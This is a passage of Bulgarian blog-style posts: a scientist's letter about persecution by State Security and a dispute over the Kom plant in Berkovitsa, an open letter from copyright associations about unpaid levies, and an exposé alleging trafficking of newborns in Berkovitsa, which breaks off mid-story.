От Комитета за наука – “За принос към науката” – златна значка;
От Министерство на химическата промишленост – златна значка;
От Комитета за наука – “За създаване на нов метод” – златен медал;
От председателя на държавния съвет Тодор Живков – двутомник с авторски знак “за заслуги към науката и принос за отбраната”;
През 1976 г. от Министерство на химическата промишленост и Комитета за наука и технически прогрес бях предложен за лауреат, но предложението беше спряно от ДС с “мотива” – “годен, но не е наш!” Предложението за “заслужил химик” бе спряно от ДС с мотив – “Работоспособността му е прикритие за вражеската му дейност към народната власт”.
Преди три години /2007 г.- бел. Ц.Б./ по случай моята 80-годишнина бях предложен за удостояване с орден “Стара планина”, но това не се случи. Няма друг случай предложение, съгласувано с Министерство на отбраната и Генералния щаб, Българската академия на науките, общинското ръководство на гр. Берковица, където съм почетен гражданин и общински съветник, да остане без резултат! Това е потвърждение за присъствие на старите структури на МВР, които още диктуват съдби, икономика и развитието на страната ни.
Благодаря на Бога, че ме окриля и ме е дарил със здраве и с хъс за работа. В момента участвам с разработки на изделия за столичното метро.
Имах рядката възможност да се срещна с първия зам.главен прокурор г-н Ситнилски, когото съм запознал с материалите, които представих и на вас. Съветът му беше загрижен и лаконичен:
“Бъдете по-настоятелен и по-упорит!”
Отговорът ми беше също точен:
- Бях настоятелен – щяха да ме изхвърлят от етажа, за което сигнализирах на органите на МВР;
- Бях упорит – гръмнаха ми колата и ми запалиха апартамента;
- Тормозът ускори и смъртта на съпругата ми;
- Не след дълго бях нападнат и жестоко инквизиран – извадени ми бяха и двете ръце от раменете със скъсан мускул на дясната ръка и повече от половин година не бях в състояние да се самообслужвам; като следствие загубих зрение на лявото си око; По повод на заканите подадох молба до МВР, откъдето получих отговор, че въпросните господа Тенчев и Николов от БАТ “Секюрити” са предупредени /цитирам/ – “да не отправят закани и заплахи спрямо Вас, Вашето семейство и вашите служители…”
Съжалявам, че след приватизацията на института ме изгониха от площадката и блокираха всичко, което успях за десет години да придобия с труда на колегите, техниците и работниците, работили във фирмата ми, някои от които напуснаха страната. Блокираната производствена база от машини и съоръжения, съвременни лаборатории, ивструментална екипировка, суровини и материали, фирмена и технологична документация, възлизащи на стотици хиляди евро са запечатани вече десет години, без да имам достъп до тях, въпреки изложенията, отправени до всички
инстанции, имащи отношение към проблема.
Документът с № 27/ У-57 “Строго секретно”, с който Георги Петков Евстатиев е обявен като “годен за всякаква вражеска дейност и подлежи на изселване заедно със съпругата си д-р Ефросина Петрова и 3 –годишното си дете Михаил.…” е анатема, която тежи и сега над семейството ми.
Щастлив съм, че имам прекрасно семейство- двама сина, една дъщеря, четири внуци и една правнучка. Големият ми син е проф, д-р, ръководител на катедра. Дъщеря ми и зет ми са медици – работят в Германия – тя е лицензиран психотерапевт, а той е кардиохирург. Малкият ми син е инженер-химик, завършил е аспирантура в Германия. В момента работи като специалист във водещо предприятие по нетрадиционни материали.
Доскоро децата ми не знаеха, че баща им е квалифициран като “враг на народа”.
Всичко, което съм създал за 20 години в промишлеността и 35 години в науката и успехите и признанията, които съм получил като почетен гражданин на гр. Берковица и почетен член на Съюза на химиците в България, е омерзено с този черен печат.
Досието ми, състоящо се от няколко хиляди страници се основава само и единствено на отказа ми през 1945, 1953 и 1956 г. да подпиша декларация за сътрудничество с ДС. Смайващи измишльотини около моята дейност през тези години! Няма нищо вярно – просто изкуствено създаване на абсурдни ситуации от хора, за да оправдаят служебното си положение. Въпреки законното основание да получа полагаемите се обезщетения за пребиваването ми в затвора, лагерите и изселванията ми, не съм се възползвал от тази възможност.
Още съм в кондиция, работоспособен и продуктивен. Това показах и миналата година, когато скочих с парашут от 3500 метра – 50 секунди свободно падане със скорост 350 км./час, за което имам сертификат. Неофициално съм единственият на 82 години парашутист в Европа.
Извинете за емоционалността ми!
С уважение,
Ст. н. с. инж. Георги Петков Евстатиев”
Евентуалните коментари по гореописаното оставям на всички онези, които изповядат все още ценности като справедливост, хуманизъм, възмездие.
"
-
Друго:
"Един диалог между Манол Велев и проф. Георги Евстатиев
Няколко дни преди стрелбата срещу бизнесмена
Някогашният “герой” от секретните архиви на Държавна сигурност – проф. Георги Евстатиев, основател на едно от първите държавни предприятия на химическата промишленост в България – завод “Ком” в гр. Берковица, решава да участва в приватизацията му през 2003 г. След поредица от лъжи професорът разбира “колко гадно е всичко”.
Предприятието става собственост на бизнесмена Манол Велев, който впоследствие обявява конкурс за директор.В него участват няколко кандидати, но го спечелва проф. Евстатиев, познавайки в основи предприятието като негов създател. Не защото е “по-умен” от останалите.
Тук предавам диалога между Манол Велев и бъдещия директор на завод “Ком” след спечеления от него конкурс, както го предава проф. Евстатиев:
“- Браво, бе! Кажи кой си, какъв си? – бяха въпросите на Велев.
В този момент влиза Георги Крумов от с. Бързия /община Берковица/ бел. Ц.Б./
- Ти познаваш ли го? – пита Велев.
- Това е най-големият…- отговаря Крумов.
- Е, аз съм ударил тотото! – заявява Велев.
- Какво става? – недоумява Георги Крумов.
- Той спечели конкурса.
- Ти си говорил с Господ! Знаеш ли кой е Гоцо? – /С Георги Крумов бяхме съученици –бел.Г. Е. /
- Кажи сега какво искаш ти? – пита Велев. – Ставаш директор на това предприятие.
- Искам да платите всички данъци на предприятието. /Г. Е./
- Няма проблеми. /М. В/
- Да платите осигуровките на работниците. /Г. Е./
- Няма проблеми. /М. В./
- Искам да платите заплатите на работниците, които не са получавани шест месеца./Г. Е./
- Няма проблеми – отново заявява Манол Велев. – Абе…кажи за себе си какво искаш? Каква заплата искаш?
- Не искам никаква заплата, докато не тръгне предприятието. /Г. Е./
Професорът допълва:
“По списъчен състав работниците бяха около 230 души. Възстанових всичко, тръгна много добре производството. Но поради разногласия в становищата, след един месец напуснах. Велев ми предложи да го взема под наем. Спазарихме 10 хиляди лева наем и с 15 хиляди лева предварително да гарантирам оставането си в предприятието в рамките на три години, които впоследствие възстанових…
Работата тръгна добре, но за труда си не получих никакво възнаграждение, макар че членовете на Борда на директорите с председател инж. Върбанов и Илия Божинов ми определиха месечно възнаграждение от 2 хиляди лева.
Посетих международен панаир в Дюселдорф, където на пет години се демонстрират постиженията на пластмасо-преработващата промишленост. След като представих визитната си картичка на една фирма, ме поканиха за специален гост. Президентът им, г-н Цимермен, пристигал същата вечер от Париж и желаел да му бъда гост за вечеря. Оказа се, че ме запомнили от някаква конференция, на която съм бил един от докладчиците и веднага ми предложиха:
“Ние ще предоставим оборудване по Ваш метод и ще купуваме 80 % от продукцията, 20 % ще давате на Ловеч”.
Обещаха да подпишат договор най-малко за пет години. Съобщих това на Манол Велев, както и че ще сключа този голям договор.
“Аз ще го сключа!” – беше светкавичната му реакция.
“Но, моля ти се…това не може да стане” – отговорих на Велев.
“Добре…Добре…”
Отивам, преливащ от радост, в Берковица и пускам факс на г-н Цимерман. Той потвърждава, че пристига в София на 15 март в 16 часа /2001 г./ На тази дата синът ми има рожден ден и това подсилва радостта ми. Сутринта на същия ден ми се обажда Манол Велев:
“Ще приемеш ли един работен обяд?”
“С удоволствие!” – отговорих, неподозирайки какво предстои.
…На срещата ми беше трудно да се ориентирам в поведението и вулгарния му език.
“Подпиши това нещо!” – нареди ми Велев. Беше анекс към договора. Прекратяваше го едностранно.
“Но как!…Аз съм вложил технологии, пари, доверие!”
“Подпиши!…Подпиши!”
“Няма да подпиша това нещо!” – продължавах да упорствам.
Влизат двама боядисани, с пера.
“О, вие сте направили сценария” – съвсем спокойно реагирах аз.
“Тоя не ще да подпише!” – съобщава им Велев.
А те само ръмжат…
Ще ви спестя начина на моето “излизане” оттам.
Шофьорът ме чака, вдигам телефона и се обаждам на нашите в Берковица. Всичко това се случва в промеждутъка между 12 и 15.30 часа. Работниците в Берковица ми съобщиха:
“Преди 15 минути тук дойдоха дегизирани около двадесет човека, запечатиха предприятието и казаха всички да напускат.”
Но нямаше как да избегна срещата си с германския гост г-н Цимерман.
“Искам да Ви съобщя нещо много неприятно – отчаяно започнах опита си за спасение. – Ние сме крайграничен град, там става нещо със сърбите и са блокирали изцяло пътя.!”
“Утре не може ли да стане?”
“Най-малко след една седмица…не се знае!”
Гостът се намуси, обърна гръб, презавери си билета и в 18 часа отпътува обратно за Германия. Берковица беше блокирана. Обърнах се за самоуправство към адвоката Исай в Монтана, който е берковчанин. След три дена ме върнаха. След пет дена отново ме изгониха. Работниците бяха в стачка. Дойдоха от Монтана и всичко снимаха. Шест-седем пъти ме вкарват и ме изкарват. Премянов и Весела Лечева отиват в Главна прокуратура и разбира се, не зная какво са говорили с главния прокурор Никола Филчев…
Започнахме дела. Къде ли не писах! С 1180 подписа до Председателя на Народното събрание през царско време, до Главния прокурор, до Министерски съвет, до всички “най”!…Никой не отговори. Един прокурор ми каза: “Бъди настоятелен!” След като ми гръмнаха колата, запалиха апартамента ми и предизвикаха преждевременната смърт на съпругата ми, последва въпросът:
“Съмняваш ли се в някого?”
Ако се съмняваш в някого, трябва да кажеш. Как да кажа? Някой е говорил нещо и затова ме питат:
“Какви са Ви взаимоотношенията с еди-кой си?”
И какво от това? Казваш какви са, засилват се и…нищо.
…Поканих Манол Велев на 80-годишнината си, за да му покажа, че не съм мръсник. Бях ангажирал ресторант за 80 души, но се събраха около 200. Реших да се обадя на Велев и вдигам телефона към три часа:
“Какво искаш, да ме скандалиш ли?”
“Ела, да разбереш, че трябва да се извиниш за много неща!”
Но не дойде. След празника ми се обади по мобилния телефон:
“Къде си бе, пич?”
Срещнахме се в бензиностанция “Еко” до завода за електроника. Велев ми поднесе някакъв скъп парфюм.
“Искам да ти продам предприятието” – изненадващо заяви той.
“Нямам пари! Нали ме съдиш!”
“Ще ти изкарам един заем и ще ти призная парите”.
“Ти го бутна на разни чакали, те изнесоха и унищожиха всичко, което имаше.”
В това време дойдоха някакви яки мъжаги.
“Ей…Забравих!…Ще се видим утре или вдругиден…сега имам среща на много високо ниво!”
Остави десет лева на масата. Станах и аз и си забравих подаръка…
След няколко дена го гръмнаха. Тогава бях на съвещание в Съюза на химиците. Казах си: “Ужас!” След пет минути всички ми се обаждат, включително и дъщеря ми от Германия:
“Татко, не му мисли нищо лошо? Нека оживее! Иди и запали свещ за здраве!”
И вярвайте – направих го…Искам да оживее, за да му натрия носа. Преди месеци откриваше на Петте кьошета, където беше кино “Иван Вазов”, едно бинго и ме среща:
“Ей, професоре! Здравей, бе!”
“Здрасти!”
И напсува: “Да……..!”
“На кого?”
“На ония…и на оня, твоя приятел, министъра /Любо Дачев, той почина. /бел. Г. Е./
"
-
Следващото:
"“Ще трошим дискове и ще режем глави!”
На основание изложените в открити писма до президента, премиера и Народното събрание мотиви /с които имате възможност да се запознаете по-долу/ няколко сдружения в България предлагат на Министерски съвет на РБ следните мерки:
1. Да бъдат отстранени от работа следните длъжностни лица:
Димитър Дерелиев – заместник министър и председателстващ Съвета за защита на интелектуалната собственост при Министерство на културата;
Георги Дамянов – Директор на Дирекция “Авторско право и сродни права” в Министерство на културата;
Да се прекрати ползването на услугите на т. н. “независим” консултант от Министерство на културата – Георги Саракинов – за каквато и да е работа, свързана с авторското право и сродните му права /искано писмено от трима поредни министри на културата, включително и от настоящия – Вежди Рашидов/.
2. Спиране по-нататъшното разглеждане на внесения в Народното събрание Проект на Закон за изменение и допълнение /ЗИД/ на Закона за авторско право и сродните му права /ЗАПСП/; Етап – обсъждане в Комисията по култура, гражданско общество и медии /септември 2010 г./, връщането му в Министерство на културата за цялостна преработка на чл. 40, включване на чл. 26 и цялостното усъвършенстване на закона.
3. Съветът за интелектуална собственост да предложи на Министерски съвет План за стартиране изпълнението на чл. 26 от Закона за авторско право и сродните му права /ЗАПСП/ и за събиране на натрупания дълг от фирмите-длъжници за последните пет години, чието изпълнение да започне до края на 2010 г.
Вносители на откритите писма с горните предложения са:
Сдружение “Европейска агенция за защита на изпълнителски, продуцентски и авторски права /ЕАЗИПА/”.
Председател на УС – Кирил Икономов, композитор
Сдружение “Нехудожествена литература – България”
Председател на УС – Здравка Сиракова, продуцент
Почетен председател – Евгения Божилова
Сдружение “ИЗА – АРТ”
Председател на УС – Александър Радославов
Сдружение “ИНТЕРФИЛМАРТ”
Председател на УС – Здравка Сиракова
Национална Асоциаци за дизайн и реклама
Председател на УС – проф. д-р Сашо Драганов
Съюз на преводачите в България
Артистаутор
БИПА
МОТИВИ
за внесените открити писма и предложения
Неплатените компенсационни плащания от около 180 фирми, произвеждащи и внасящи апарати и носители за репрографиране и копиране на творби, дължими по чл. 26 от Закона за авторско право и сродните му права /ЗАПСП – от 1993г./, за последните 5 години възлизат на около 300 милиона лева.
Въпреки внесените анализи, информация за извършеното и предложенията, поради ненамеса на държавата не са наложени предвидените по закон санкции на незаконно обогатяващи се фирми в България. За да бъде събрано дължимото не са предприети нужните мерки и от Министерство на финансите, НАП, Агенция Митници и др., които са задължени да сторят това. Пасивността на държавата по този проблем ощетява правоносителите от секторите култура, изкуство и наука, национален фонд “Култура” и националния бюджет.
Любопитният въпрос е: Кой има най-голяма сметка от това будещо съмнения бездействие?
По данни на организацията за колективно управление на права, кражбата, продължаваща у нас вече 15 г./и както стана ясно възлизаща на около 300 млн. лв. само за последните пет г./, се разпределя по следния начин:
Около 60 млн. лв. се дължат на Национален фонд “Култура”.
/По закон от всяка постъпваща сума, преди да бъдат осъществени плащанията на правоносителите, организациите им отчисляват 20 % за фонда./ Тези средства, с които фонд “Култура” никога не е разполагал, са предназначени за изпълнение на проекти в трите творчески сектора.
Поне 30 млн. лв. са щетите от неплатени данъци в общинските бюджети.
/Тъй като значителна част от авторите и изпълнителите /в т. ч. хорове, фолклорни и др. групи и състави/ са със записи на изпълнения и творби на аудио- и видео носители – на музикални и аудиовизуални творби. На носители отдавна са и творби на нехудожествената литература /научна, публицистична, визуални изкуства, дизайн и т. н./
Основната част от натрупаните задължения – почти 70 %, е на правоносителите – автори на свободна практика или работещи в издържани от бюджета институти в културата, но и в сектора образование и наука.
Въпросът, освен социален, касае и развитието на цели жанрове или направления на съвременната българска култура…
ОСНОВАНИЯ
за спиране по-нататъшното разглеждане в Народното събрание на Проект на Закон за изменение и допълнение на Закона за авторско право и сродните му права /ЗИД на ЗАПСП/, внесен от Министерство на културата
- В обсъждането му по-голямата част от действащите организации за колективно управление на права в България не са имали възможност да участват и да защитят интересите на създаващите произведения от секторите литература, изкуство и наука – обект на закона. Даденият от зам.министър Димитър Дерелиев писмен отговор-обяснение на Кабинета на Министър председателя с неверни факти и изводи /според вносителите на писмото и предложенията/, има малка връзка с поставения проблем – събиране на дълговете и усъвършенстване на ЗАПСП по чл. 26 и чл. 40.
Отговорът на зам.министър Дерелиев внушава:
Монополизмът при управление на правата е полезен, /без никакво доказателство за това/;!
Повечето от организациите за колективно управление на права у нас нямат нужния финансов ресурс, за да развият необходимия административен капацитет за ефективна работа! Подминават факта, че след като правоимащите не получават дължимите им се плащания за права, трудно издържат и създадените от тях организации;
Поставяните проблеми са обект на частното право, поради което Министерство на културата и институциите не могат да се намесват! Пропускайки, че именно на тях е възложен контролът за изпълнение на ЗАПСП и санкциите спрямо нарушителите.
Министерство на културата любопитно защо пропуска обстоятелството, че и неговият Национален фонд “Култура” е “правоимащ” по закон, а следователно – и обект на кражба 17 години. Остава предположението, че “ненамесата” на тази институция по трудния казус ще й донесе повече дивиденти /материални или други/, отколкото разрешаването му, т. е. – вероятност за корупция! Премълчава и факта, че ако от есента на 2009 г. бе изпълнило задълженията си по направените предложения и бе наложило предписаните от закона две символични санкции на фирмите, в момента в бюджета на Министерство на културата и на националния фонд “Култура” приходът само от тях би бил 1,6 млн. лв.
След като фирмите, задължени да плащат за копи- и репро права не са платили нито лев за 17 години, според министър Дерелиев трябва да се преразгледа определения процент на компенсационните отчисления в закона, за да започнат да ги плащат!
/Но не предлага намаляване или поне разсрочване на плащанията на данъците на правоимащите от секторите литература, изкуство и наука, след като само през последните пет години те са обект на кражба от над 300 мил. лв., срещу което институциите не са наложили дори една санкция. Реализираните от фирмите обеми незаконни печалби са над милиард за първите 15 г. от влизане в сила на закона. /
Причината за неотложност на събиране на дълговете е, че кражбите от фирмите по чл. 26 са 100 %. Обемът от тях са щети за трите творчески сектора – литература, изкуство, наука в размер на над 1 млрд. лв., но задълженията за последните пет години са все още събираеми. Министерство на културата също “пропуска”, че ако несъбираеми за него са 200 млн. лв.-по старите данъчни закони /с които фонд “Култура” финансира и проекти на бюджетно издържани културни институти и читалища/, все още събираеми са 60 млн. лв.
Замисълът за усъвършенстване на ЗАПСП с нов вид ЗИД е:
Допълване на чл. 26 за дължимите компенсационни отчисления – най-вече с текстове в няколко други закона, за да се осигурят по-добри условия за събиране плащанията он задълженията и се облекчи работата на институциите.
Да се направи по-подробна разработка на чл. 40 – за сдруженията за колективно управление на права, за да се гарантира по-голяма прозрачност и възможност за контрол над дейността им, тъй като плащанията по чл. 26 се събират само от тях.
Необходим е отговор на въпроса – Действията на Министерство на културата са само недопустимо лобиране за чужди и незаконни интереси в нарушение на законните интереси на правоимащите от сектори литература, изкуство и наука, Национален фонд “Култура” и държавния бюджет, или корупция?
Последици от обсъждания ЗИД, ако той влезе в сила:
Поне 4 от действащите понастоящем сдружения изкуствено ще бъдат превърнати в монополни организации.
Освен че ще бъдат ликвидирани по-голяма част отсъществуващите днес организации, ще се стигне до последици като тази, че от няколкото организации за колективно управление на права на фотографите, например, ще остане само най-рано регистрираната по време. Докато втората е с най-голям принос за решаването на въпроси на целия жанр.
Последицата от въвеждането на текст, че организациите, които през последните 5 г. не са събирали и разпределяли възнаграждения, няма да бъдат регистрирани като такива за колективно управление на права, е: ще бъдат закрити 27 организации и ще останат само 5 – най-старите: МУЗИКАУТОР, ФИЛМАУТОР, АРТИСТАУТОР, ТЕАТЪРАУТОР и ПРОФОН.
Тук липсва логика – Това, че в резултат на системните кражби в повечето организации няма постъпления през последните 5 /или повече/ години, не може да бъде “отсяващо” условие за леквидирането на организациите – и то по закон, след като плащанията за членовете им са дължими – от 17 г. , а за последните 5 – събираеми! Пак по закон!
Министерство на културага ще остави без нито една организация и сектора “Наука”, в случай, че този ЗИД бъде приет!
/Пълния текст на гореспоменатите документи заинтересованите могат да прочетат в офиса на Сдружение “Европейска агенция за защита на изпълнителски, продуцентски и авторски права” в столицата./
"
-
Следващото от нея:
"Зад кулисите на властта – Как се продават бебета?
Цинизмът на днешния властник
Минало и настояще- една гноясала връзка
Ще започна историята с един празник – 8 септември, ден на гр. Берковица. Годината е 2010. На посещение в Берковица е президентът на РБ Георги Първанов. Жестът към местните управляващи и населението е повече от трогателен. Домакините са се постарали в сценария. След година предстоят нови избори, все пак. Има всичко: “Луна-парк”, знамена, балони, музика, павилиони на гостуващи търговци с лакомства и невероятни “подаръци”. Организацията е перфектна – на площад “Йордан Радичков” е стълпотворение от любопитен и развеселен народ, жадуващ зрелище. И го получават: приветствия, награди, почести, песни и танци…колко му трябва на народа?
Последен има думата г-н президента. Ловък и опитен политик, безупречно владеещ хватките на дипломацията, без значителни усилия успява да разнежи публиката. Лесно се печели симпатия в тези български ширини, стига да провокираш изчезващото чувство за значимост, за законна гордост от постиженията на твой почитан земляк и…президентът припомня емблематичи мисли на мъдреца-земляк Йордан Радичков. Всички са омилостивени, трогнати и доволни!…Не, не всички! Помежду си присъстващите реагират по своему – никой не им дава думата да поставят на президента тревожещи ги и неотложни въпроси за пенсиите, за безработицата, най-голяма в страната, за бедността, за “свършека” на родния край. И…както би казал Милан Революцията - и аз бях там.
Имах намерение да се възползвам от гостуването на президента и да му връча в писмен вид една от технологиите за кражба от държавата. Не че той не ги познаваше! Постарах се доста, но от първи опит не успях. Темпото, с което първенецът “разглеждаше” в ОНЧ “Иван Вазов” изложбата на местни творци и занаятчии, както и “постиженията” в Берковско, беше вихрено, а “интересът” на президента беше повече от протоколен. Но децата сияеха и очакваха похвали. Нали е висока чест самият президент да спре пред теб и да те заговори!
Междувременно се случи нещо любопитно и изненадващо, касаещо мен самата. Двоумейки се дали да поема по освободеното от президентската охрана място пред читалищната сграда в посока към президентската свита, виждам идващия към мен секретар на Общинска администрация. В момента, в който бях готова да поздравя, той преминава край мен, но…не ме познава! С този субект се познавахме отдавна, години поред бяхме колеги в общинска администрация, а и преди постъпването му там се познавахме като “съграждани”. Нито ме “позна”, нито поздрави! Поведението му ме изненада, тъй като в минало време той сполучливо и навсякъде демонстрираше “открит” характер, дружелюбност и контактност, с една дума – умееше да общува с всички. Макар че подобни качества не са типични за един бивш военен.
Този на пръв поглед съвсем незначителен епизод в деня на празника на Берковица си има и своята предистория, както и логично обяснение. Никак не беше трудно да се досетя, че подтекстът в поведението на г-н секретаря се коренеше дълбоко в минали събития и най-вече в един необичаен телефонен разговор, който той провежда с мен през зимата на 2009 г. Но за да стигнем до него, ще се случат поредица главозамайващи събития, малка част от които вече съм описала през 2002 г.
Участниците в тях присъстват и в миналото, и в настоящето. Предрешават и диктуват събития и съдби, “пишейки” с делата си една позорна история за родния си край.
Предисторията
Как се търгува с извънбрачни новородени бебета?
Късата памет и безотговорност на държавните институции
Тук ще стане въпрос за абсурдната технология, с която се продаваха извънбрачно родени деца без съгласието на собствените им майки; раждането и отказването от деца без знанието на собствените им бащи; за престъпност с чудовишен облик; за престъпната и консуматорска природа на хора, оторизирани да защитават закона и самите нас; за подлостта и чувството за безнаказаност у истински престъпници, насочващи оръжие срещу всеки, дръзнал да защити интересите им.
До болка познато! Стартира в началото на жадувания “преход” към нов, “демократичен подем”. Но и днес съпътстващо живота, сънищата, мечтите ни.
Днес, някъде в столицата, упражнява професията си “акушер-гинеколог”, бивш служител на болница в гр. Лом – изгонен оттам, бивш служител и на болница в гр. Берковица – изгонен и оттам с дисциплинарно уволнение. И дано само “бивш” търговец на бебета! Вероятно става ясно, че този “бивш” е лишен по повелята на закон да упражнява “легално” професията си. Но както многократно вече е доказано, в страна на абсурди като нашата няма невъзможни неща. Този лекар е сред главните герои в настоящата история.
Властите в гр. Берковица го приютяват безапелационно и гинекологът започва да си разиграва коня, години несмущаван от никого. Благодарение на него в Берковица идват, за да раждат децата си наивни момичета от Лом и областта, на които специалистът предлага офертите си за гинекологична и родилна помощ. Каналът Лом – Берковица става постоянен, сигурен и най-важното – доходоносен. Но за девойките този “жест” е благороден, защото ги спасява от бъдещо унижение, презрение и пренебрежение в обществото, поне според философията на родителите им. Но героят-“благодетел” се заиграва до такава степен, че се самозабравя. Една след друга девойките идват и си отиват, оставяйки след себе си по един нещастен живот, чието бъдеще определят безскрупулни и необезпокоявани до този момент от никого, личности.
Другият главен герой в историята с бебетата понастоящем е юрис-консулт в община Берковица! Но…”нищо не е забравено и никой не е забравен”, макар че тези думи овенчават най-трагичния период в съдбата на народа ни – баташкото клане! Е, тук не става дума за клане, само за търговия с жива плът! С детска плът!
Адвокатката е поела отговорна функция – тя ще движи и ръководи“търговското разпределение” на извънбрачните новородени в качеството си на “близка” на гинеколога. Двамата се утвърждават като прекрасен тандем, чиито действия са добре обмислени и синхронизирани.
Властта не си “мърси” ръцете
След констатираното фалшифициране на пристигащи от Родилно отделение на берковската болница документи на новородени, служителка в съответния отдел на общинска администрация, оформяща Актовете за раждане на бебетата, преценява, че е задължена и в правото си да сигнализира на по-висшестоящи органи и институции. Докладва на прекия си ръководител, тогава и. д. кмет на общината, съдебните власти и прокуратурата. Реакция – никаква. Но твърде съмнително и безпрепятствено новородените започват да се препращат и приемат от различни Домове за деца, без предоставяне на ясна и точна информация за бъдещата им съдба. За едно и също дете постъпват противоречиви сведения – и “осиновено , и “неосиновено”.
Оказва се, че за развихрилия се незаконен трафик на новородени в страната и чужбина са осведомени почти всички “отговорни” институции в градчето, овластени да контролират изпълнението на законите и преследнат нарушителите им. За действията на търговците на деца вече се знае и в столицата. Служителката сигнализира и в местната преса, обществеността научава за всичко, случващо се в местната болница и по етажите на местната власт, но безотговорност, страх или лични интереси пречат да се разбули истината докрай. Зашумява се и в централната преса. Журналисти от столицата посещават градчето, за да се запознаят със случая. Но си заминават, умело манипулирани, “предупредени” или уплашени да огласят това, което със сигурност са открили с професионалния си журналистически усет и ерудиция. Но странно защо “не достигат” до извора – до служителката и до документите!
В същия период драматично събитие раздвижва духовете задълго. Девойка от друго населено място ражда в берковската болница извънбрачно дете. И неговата съдба е предопределена. Действащите в търговската схема лица правят опит да скрият следите на бебето и успяват. Донякъде. Но съвсем изненадващо за всички, майката, след мъчителна битка със съвестта си, решава да прибере рожбата си. Намерението й обърква всичко. Тя напуска болницата, като споделя с персонала, че ще се срещне с бащата на детето и тогава ще вземе окончателното си решение. Само след един ден се връща в болницата. Но детето вече е продадено! От родилно отделение го изнасят по време на отсъствието на майката две непознати жени – същите, които случайно среща в този момент на входа на болницата Управителят на здравното заведение. Този факт той си спомня на следващия ден по време на разпит на завеждащия родилно отделение.
На разговора присъства следовател от полицейско управление, служителката от общинската администрация и управителят на болницата. Гинекологът с ирония подхвърля на присъстващите всевъзможни документи, нямащи нищо общо с разследвания случай и категорично и цинично заявява, че няма да издаде “тайната” за местонахождението на новороденото! Изумената служителка, неповярвала на случващото се, скача вбесена и изкрещява срещу циника:
“Как! Вие, господине, искате да кажете, че аз вчера съм родила детето си, оставила съм го за един ден във Вашите ръце, а Вие го давате някъде и отказвате да кажете къде е!…Що за престъпление е това!”
Но докторът сякаш е изгубил всякакво чувство на срам и най-малкото на неудобство. Да не споменаваме за “отговорност” пред полиция и който и да е друг представител на местната власт. Просто изпълнява успешно ролята на клоун в едно великолепно стъкмено от самия него цирково шоу. А лицата на другите двама присъстващи изразяват само недоумение и безпомощност. След скандала управителят на болницата, ненамиращ изход от абсурдната ситуаци, любезно подканя проверяващите да напуснат кабинета на един вече несъмнен престъпник! В своя кабинет той потвърждава личната си безпомощност и разказва за случайната среща с жените, изнесли дедето от болницата. Часове след инцидента и. д. кметът с негови колеги забелязва да излизат от града с автомобил шефът на Родилно отделение, придружаван от адвокатката. И както би могло да се очаква, наскоро майката променя изцяло показанията си.
След този случай и. д. кметът е информиран, че на входната врата на скандалната адвокатка някой е написал приблизително следния текст: “Убийца! Не забравяй, че и ти имаш дете!” Но “оплакване” до полицията не постъпва. Съвсем резонно.
Тогава емоциите са толкова силни, че служителката не си задава въпроса, но след години се пита: Ако завеждащият нямаше сигурен и стабилен гръб, щеше ли да има смелост и кураж за подобни действия?
Разкритието за изтъргуваното новородено е сензационно и покъртително за широката общественост, но не и за специализираните звена в съдебната система – полиция, съд, прокуратура. За подобна, достигнала до тях информация, споделят районният прокурор и началникът на РПУ в града. Но тогава никой няма желание да си “мърси” ръцете. Това е един от изводите. Вторият е: Не се знае кои точно са “двигателите” на този процес! Може би част от същите, които не желаят да се “цапат”!
Кой е “силният гръб”?
“Някой” започва усилено да стопира работата в отдела на Общинска администрация, където пристигат от Родилно отделение и се оформят документите на новородените. Дълго време не се предоставят в законоустановения за това срок. Служителката, оторизирана да ги обработва, внася докладна за случаите на фалшифицирането им до кмета и прокуратурата. Присъствала на злополучния “разговор” в болницата, тя е изпращана и на други “разговори” и “проверки” в РПУ, Районен съд, Районна болница. Управляващите умело демонстрират “активност” и “загриженост” за случващото се!
Със създаването на публичност на разкритията с новородените чрез местната и централна преса се завихря обществен скандал, в чийто център се озовава и общинската служителка, превърнала се в крайна сметка в изкупителна жертва. Започва следствие, заформя се съдебно дело, но…само толкова. Скандалът е потулен. Публична тайна остава твърдението, че в “голямата игра” основна е ролята на “големите пари”! За жалост!
“Безсилието” на властта
Следва период на затишие. В тези дни Общинска администрация е посетена от местен жител, юрист, живеещ в столицата, който споделя, че гореспоменатата адвокатка е известна и в столичните среди с около 40 продадени новородени! Но това не смущава все още никого. И няма кого да смути.
След отправяне вече на заплахи към служителката и семейството й, тя решава да се „брани“ сама. Включва се в курс за „Дейности с огнестрелно оръжие“. Този факт е сензация за изцяло мъжката аудитория на ръководители на предприятия и охранители. А и едва ли са допускали абсурдността на мотивите й за подобно решение! То изглежда „налудничаво“ за „широката общественост“ в малкия град и проявеното любопитство няма как да се прикрие. Колежка на „курсистката“ се престрашава и пита:
„Курсът за оръжие има ли нещо общо с изчезването на бебетата?“ Но как ли е можело да й се отговори?
Въпреки всичко търговската фиеста продължава. Майка на три деца ражда четвърто. Бащата, работещ в друго населено място, рядко посещава семейството и не успява да „усети“ и да разбере за този факт, майсторски прикриван от съпругата му. Детето е нежелано и майката иска да го изостави, като за тази цел ангажира отново местната адвокатка, специалист в тези дела. След уреждане на паричните взаимоотношения нотариус „обработва“ отказа от новороденото, като заверява нотариално документа, фалшифицирайки подписа на бащата. Детето е изпратено в София!
Но…в един момент майката изисква от адвокатката копие от „отказа“, което категорично й е отказано. Тя се обръща за съдействие към Общинска администрация и полицейско управление. Но никой не е в състояние да реши проблема й! А и адвокатката не би допуснала подобна грешка – представянето на копие от договора автоматически уличава нея и нотариуса в извършено престъпление! Но на среща с и. д. кмет и началника на Полицейско управление майката разкрива цялата истина, която се записва на касета /според кмета/. Но управляващите са „безсилни“!
Общинската служителка не издържа на тези издевателства срещу закона и истината и въпреки несъгласието на кмета заминава за столицата и посещава болницата, където проучва, че е настанено временно детето. Успява да пристигне, преди то да е „пренасочено“ за някъде. Легитимира се и получава копие от прословутия фалшификат, за който болничният персонал и не подозира. „Охранявана“ от кмета на път за Полицейско управление го предоставя на началника на управлението, с което решава, че е изпълнила дълга си като служител, човек и майка. Но изпитвайки съмнения, че очевадното доказателство за извършено престъпление от няколко защитници на закона е попаднало на мястото си!
Междувременно отново се задейства изобретателността на същите субекти, реализирали престъпната схема и отново в съучастие със същата майка. Наложително е все пак да се спасяват. Нотариусът, обезпокоен за кариерата си, посещава родното място на родилката – многодетна майка и след умела „обработка“ на съпруга й, чийто подпис в нотариално заверения документ е фалшифициран, се оказва, че бащата „е дал съгласието си по телефона!“…
И гаврите на властта нямат край!
Новият градоначалник влиза в играта
